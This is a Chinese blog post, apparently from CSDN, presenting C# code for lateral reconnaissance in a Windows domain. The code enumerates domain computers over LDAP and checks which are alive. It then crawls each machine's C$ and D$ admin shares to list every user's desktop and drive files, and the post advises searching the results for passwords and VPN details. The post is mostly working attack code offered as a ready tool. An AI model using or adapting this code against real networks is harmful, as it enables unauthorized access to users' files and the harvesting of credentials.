• 域内批量获取敏感文件

    0x01 批量获取域内机器名

    自动化工具，当然就要全自动，懒人必备。net group "domain computers" /do ，获取机器是3个一排，然后可以通过正则删除空格，每次也麻烦，直接获取机器名更加方便。

    思路就是连接ldap然后指定过滤条件(&(objectclass=computer))获取机器。

    获取域内机器

    1. public static DirectoryEntry coon = null;
    2. public static DirectorySearcher search = null;
    3. url = "LDAP://" + ip; 
    4. username = domain user;
    5. password = domain pass;
    6. coon = new DirectoryEntry(url, username, password);
    7. search = new DirectorySearcher(coon);
    8. search.Filter = "(&(objectclass=computer))
    9.  foreach (SearchResult r in Ldapcoon.search.FindAll())
    10.  {
    11.      string computername = "";
    12.      computername = r.Properties["cn"][0].ToString();
    13.      Console.WriteLine(computername);
    14.  }

    0x02 机器探测存活

    1.把上述机器放入machine.txt内，然后逐行读取

    1. StreamReader machine_name = new StreamReader(@"machine.txt");
    2. while (!machine_name.EndOfStream)
    3. {
    4.     string machine = machine_name.ReadLine();
    5.     Console.WriteLine(machine);
    6. }

    2.探测探测存活，这里面向谷歌

    1.  public static bool IsMachineUp(string hostName)
    2.         {
    3.             bool retVal = false;
    4.             try
    5.             {
    6.                 Ping pingSender = new Ping();
    7.                 PingOptions options = new PingOptions();
    8.                 // Use the default Ttl value which is 128,
    9.                 // but change the fragmentation behavior.
    10.                 options.DontFragment = true;
    11.                 // Create a buffer of 32 bytes of data to be transmitted.
    12.                 string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
    13.                 byte[] buffer = Encoding.ASCII.GetBytes(data);
    14.                 int timeout = 800;
    15.  
    16.                 PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
    17.                 if (reply.Status == IPStatus.Success)
    18.                 {
    19.                     retVal = true;
    20.                 }
    21.             }
    22.             catch (Exception ex)
    23.             {
    24.                 retVal = false;
    25.                 //Console.ForegroundColor = ConsoleColor.Red;
    26.                 //Console.WriteLine("[-]" + ex.Message);
    27.                 //Console.ForegroundColor = ConsoleColor.White;
    28.             }
    29.             return retVal;
    30.         }

    一般来说it机器都为工作机而非服务器，可能存在下班关机等情况，如果大多机器处于关机情况下，就会浪费比较多的时间，所以优先判断存活是很有必要的。

    1. StreamReader machine_name = new StreamReader(@"machine.txt");
    2. while (!machine_name.EndOfStream)
    3. {
    4.     try
    5.     {
    6.         string machine = machine_name.ReadLine();
    7.         if (IsMachineUp(machine))
    8.      {
    9.       //操作
    10.      }
    11.     }
    12.     catch { }
    13. }

    0x03 获取桌面文件

    我们这里构造获取结果目录呈现结果为：

    1. TargetDesktopinfos
    2.     机器1
    3.         用户A
    4.             文件
    5.         用户B
    6.             文件
    7.     机器2
    8.         用户C
    9.             文件
    10.         用户D
    11.             文件

    首先获取当前路径创建TargetDesktopinfos目录。

    1. string currentpath = Directory.GetCurrentDirectory();
    2. DesktopFiles = currentpath + "\\TargetDesktopinfos";
    3. Directory.CreateDirectory(DesktopFiles);

    然后获取目标机器c:\users\目录，如果存在该目录创建机器名

    1. string userpath = @"\\" + machine + @"\c$\users";
    2. var user_list = Directory.EnumerateDirectories(userpath);
    3. if (Directory.Exists(userpath))
    4. {
    5. //创建机器名文件夹
    6.     string MachineFolder = DesktopFiles + "\\" + machine;
    7.     Directory.CreateDirectory(MachineFolder);

    再遍历users目录存在哪些用户，同理如果存在desktop目录创建用户名和desktop.txt。

    1. string userpath = @"\\" + machine + @"\c$\users";
    2. var user_list = Directory.EnumerateDirectories(userpath);
    3. if (Directory.Exists(userpath))
    4. {
    5. //创建机器名文件夹
    6. string MachineFolder = DesktopFiles + "\\" + machine;
    7. Directory.CreateDirectory(MachineFolder);
    8. foreach (string user in user_list)
    9. {
    10. string DesktopDirectoryPath = user + "\\desktop";
    11. string username = substring(user);
    12. if (Directory.Exists(DesktopDirectoryPath))
    13. {
    14. //创建用户名文件夹
    15. string UserFolder = MachineFolder + "\\" + username;
    16. Directory.CreateDirectory(UserFolder);
    17. //创建desktop.txt文件
    18. string Desktoptxt = UserFolder + "\\desktop.txt";
    19. StreamWriter sw = File.CreateText(Desktoptxt);
    20. sw.Close();

    接下来就是遍历desktop目录所有文件以及文件夹内的文件。

    这里用到Directory.GetFileSystemEntries方法

    1. public static string[] GetFileSystemEntries (string path, string searchPattern, System.IO.SearchOption searchOption);
    2. 第一个参数path：要搜索的路径。
    3.  
    4. 第二个参数searchPattern：要与 `path` 中的文件和目录的名称匹配的搜索字符串。
    5.  
    6. 第三个参数searchOption，指定搜索操作是应仅包含当前目录还是应包含所有子目录的枚举值之一。

    这里的SearchOption.AllDirectories我们使用SearchOption.AllDirectories,表示在搜索操作中包括当前目录和所有它的子目录。

    完整代码如下

    1. try
    2.             {
    3.                 string DesktopFiles = "";
    4.                 //获取机器名
    5.                 StreamReader machine_name = new StreamReader(@"machine.txt");
    6.                 while (!machine_name.EndOfStream)
    7.                 {
    8.                     try
    9.                     {
    10.                         string machine = machine_name.ReadLine();
    11.                         if (IsMachineUp(machine))
    12.                         {
    13.                             //获取当前路径
    14.                             string currentpath = Directory.GetCurrentDirectory();
    15.                             DesktopFiles = currentpath + "\\TargetDesktopinfos";
    16.                             Directory.CreateDirectory(DesktopFiles);
    17.                             Console.WriteLine("[*]" + machine);
    18.                             //获取users目录
    19.                             string userpath = @"\\" + machine + @"\c$\users";
    20.                             var user_list = Directory.EnumerateDirectories(userpath);
    21.                             if (Directory.Exists(userpath))
    22.                             {
    23.                                 //创建机器名文件夹
    24.                                 string MachineFolder = DesktopFiles + "\\" + machine;
    25.                                 Directory.CreateDirectory(MachineFolder);
    26.                                 foreach (string user in user_list)
    27.                                 {
    28.                                     string DesktopDirectoryPath = user + "\\desktop";
    29.                                     string username = substring(user);
    30.                                     if (Directory.Exists(DesktopDirectoryPath))
    31.                                     {
    32.                                         //创建用户名文件夹
    33.                                         string UserFolder = MachineFolder + "\\" + username;
    34.                                         Directory.CreateDirectory(UserFolder);
    35.                                         //创建desktop.txt文件
    36.                                         string Desktoptxt = UserFolder + "\\desktop.txt";
    37.                                         StreamWriter sw = File.CreateText(Desktoptxt);
    38.                                         sw.Close();
    39.  
    40.                                         string info_user = substring(user);
    41.                                         Console.ForegroundColor = ConsoleColor.Green;
    42.                                         Console.WriteLine("[*]" + info_user);
    43.                                         Console.ForegroundColor = ConsoleColor.White;
    44.  
    45.                                         string[] AllFiles = Directory.GetFileSystemEntries(DesktopDirectoryPath, "*", SearchOption.AllDirectories);
    46.  
    47.                                         foreach (string file in AllFiles)
    48.                                         {
    49.                                             Console.WriteLine(file);
    50.                                             string create_time = Directory.GetCreationTime(file).ToString();
    51.                                             string writeFileTo = "create time:" + create_time + "  " + file + "\r\n";
    52.                                             File.AppendAllText(Desktoptxt, writeFileTo);
    53.                                         }
    54.                                     }
    55.                                     else
    56.                                     {
    57.                                         continue;
    58.                                     }
    59.                                 }
    60.                             }
    61.                         }
    62.                         else
    63.                         {
    64.                             Console.ForegroundColor = ConsoleColor.Red;
    65.                             Console.WriteLine("[-]" + machine + " is down");
    66.                             Console.ForegroundColor = ConsoleColor.White;
    67.                         }
    68.                     }
    69.                     catch (System.Exception ex)
    70.                     {
    71.                         Console.ForegroundColor = ConsoleColor.Red;
    72.                         Console.WriteLine("[-] error");
    73.                         Console.WriteLine("[-] Exception: " + ex.Message);
    74.                         Console.ForegroundColor = ConsoleColor.White;
    75.                         continue;
    76.                     }
    77.                 }
    78.                 machine_name.Close();
    79.                 Console.WriteLine("[+]out put to:" + DesktopFiles);
    80.             }
    81.             catch (System.Exception ex)
    82.             {
    83.                 Console.ForegroundColor = ConsoleColor.Red;
    84.                 Console.WriteLine("[-] error");
    85.                 Console.WriteLine("[-] Exception: " + ex.Message);
    86.                 Console.ForegroundColor = ConsoleColor.White;
    87.                 return;
    88.             }

    同理要获取DEF盘，这里就举例D盘

    1. public static void D()
    2.         {
    3.             try
    4.             {
    5.                 string DFiles = "";
    6.                 StreamReader machine_name = new StreamReader(@"machine.txt");
    7.                 while (!machine_name.EndOfStream)
    8.                 {
    9.                     try
    10.                     {
    11.                         string machine = machine_name.ReadLine();
    12.                         if (IsMachineUp(machine))
    13.                         {
    14.                             string currentpath = Directory.GetCurrentDirectory();
    15.                             DFiles = currentpath + "\\DInfos";
    16.                             Directory.CreateDirectory(DFiles);
    17.  
    18.                             Console.ForegroundColor = ConsoleColor.Yellow;
    19.                             Console.WriteLine("[*]" + machine);
    20.                             Console.ForegroundColor = ConsoleColor.White;
    21.  
    22.                             //获取users目录
    23.                             string dpath = @"\\" + machine + @"\d$";
    24.                             var d_list = Directory.EnumerateDirectories(dpath);
    25.                             if (Directory.Exists(dpath))
    26.                             {
    27.                                 //创建机器名文件夹
    28.                                 string MachineFolder = DFiles + "\\" + machine;
    29.                                 Directory.CreateDirectory(MachineFolder);
    30.                                 //创建输出文本
    31.                                 string E_txt = MachineFolder + "\\dFiles.txt";
    32.                                 StreamWriter sw = File.CreateText(E_txt);
    33.                                 sw.Close();
    34.                                 try
    35.                                 {
    36.                                     var files = Directory.GetFiles(dpath);
    37.                                     foreach (string file in files)
    38.                                     {
    39.                                         Console.WriteLine(file);
    40.                                         string create_time = Directory.GetCreationTime(file).ToString();
    41.                                         string writeFileTo = "create time:" + create_time + "  " + file + "\r\n";
    42.                                         File.AppendAllText(E_txt, writeFileTo);
    43.                                     }
    44.  
    45.                                     var directorys = Directory.EnumerateDirectories(dpath);
    46.                                     foreach (string directory in directorys)
    47.                                     {
    48.                                         if (!directory.Contains("System Volume Information"))
    49.                                         {
    50.                                             string[] AllFiles = Directory.GetFileSystemEntries(directory, "*", SearchOption.AllDirectories);
    51.                                             foreach (string file in AllFiles)
    52.                                             {
    53.                                                 string create_time = Directory.GetCreationTime(file).ToString();
    54.                                                 Console.WriteLine(file);
    55.                                                 string writeFileTo = "create time:" + create_time + "  " + file + "\r\n";
    56.                                                 File.AppendAllText(E_txt, writeFileTo);
    57.                                             }
    58.                                         }
    59.                                     }
    60.                                 }
    61.                                 catch (UnauthorizedAccessException ex)
    62.                                 {
    63.                                     Console.ForegroundColor = ConsoleColor.Red;
    64.                                     Console.WriteLine(ex.Message);
    65.                                     Console.ForegroundColor = ConsoleColor.White;
    66.                                     //goto cc;
    67.                                 }
    68.  
    69.  
    70.                             }
    71.                         }
    72.                     }
    73.                     catch (System.Exception ex)
    74.                     {
    75.                         Console.ForegroundColor = ConsoleColor.Red;
    76.                         Console.WriteLine("[-] 不存在D盘");
    77.                         Console.WriteLine(ex.Message);
    78.                         Console.ForegroundColor = ConsoleColor.White;
    79.                         continue;
    80.                     }
    81.                 }
    82.                 machine_name.Close();
    83.                 Console.WriteLine("[+]out put to:" + DFiles);
    84.             }
    85.             catch (System.Exception ex)
    86.             {
    87.                 Console.ForegroundColor = ConsoleColor.Red;
    88.                 Console.WriteLine("[-] error");
    89.                 Console.WriteLine("[-] Exception: " + ex.Message);
    90.                 Console.ForegroundColor = ConsoleColor.White;
    91.                 return;
    92.             }
    93.         }

    这里我们在08这台域机器桌面存放文件

    测试效

    结果呈现

    接下来直接文件夹搜索password或者vpn等关键字即可。

  • 相关阅读:
    点击button按钮整体页面刷新
    鹰潭病理实验室建设、筹建考虑因素
    docker 容器 network host 模式启动
    Opengl之面剔除
    二叉搜索树
    R语言使用plot函数可视化数据散点图，使用mtext函数在可视化图像的底部居中添加自定义文本标签（bottom）
    1200万像素通过算法无失真扩展到1.92亿像素——加权概率模型收缩模型图像像素扩展算法
    JavaSE之异常
    Python中json数据的常用操作函数：dump load dumps和loads
    Python数据分析培训班介绍
  • 原文地址：https://blog.csdn.net/hongduilanjun/article/details/127641257